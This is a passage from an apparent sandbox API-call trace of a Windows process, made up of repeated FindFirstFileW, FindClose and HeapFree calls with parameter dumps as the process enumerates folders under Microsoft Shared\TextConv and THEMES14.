ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.356] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.356] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3830090 | out: hHeap=0xb80000) returned 1 [0050.356] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.357] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.358] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.358] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.358] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.358] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3830090 | out: hHeap=0xb80000) returned 1 [0050.359] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0050.362] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.363] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.363] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.363] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.364] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.364] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.364] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.365] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.365] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.365] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.366] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.366] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.368] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.368] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.368] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.368] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.369] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.369] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.369] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.369] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.370] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.370] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.370] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.370] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.370] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.371] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.371] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.371] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.372] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.372] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.372] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.373] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.373] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.373] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.374] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.374] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.374] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.374] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.374] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.374] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.376] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.376] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.376] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.377] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.377] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.377] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.378] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.378] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.378] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.379] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.379] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.379] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.379] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.379] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.380] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.380] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.380] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.380] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.381] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.381] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.381] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.382] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.382] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.382] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.382] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.382] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.383] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.384] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.384] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.384] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.385] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.385] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.385] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.386] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.386] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.386] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.387] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.387] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.387] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.387] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.388] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.388] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.388] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.388] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.388] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, 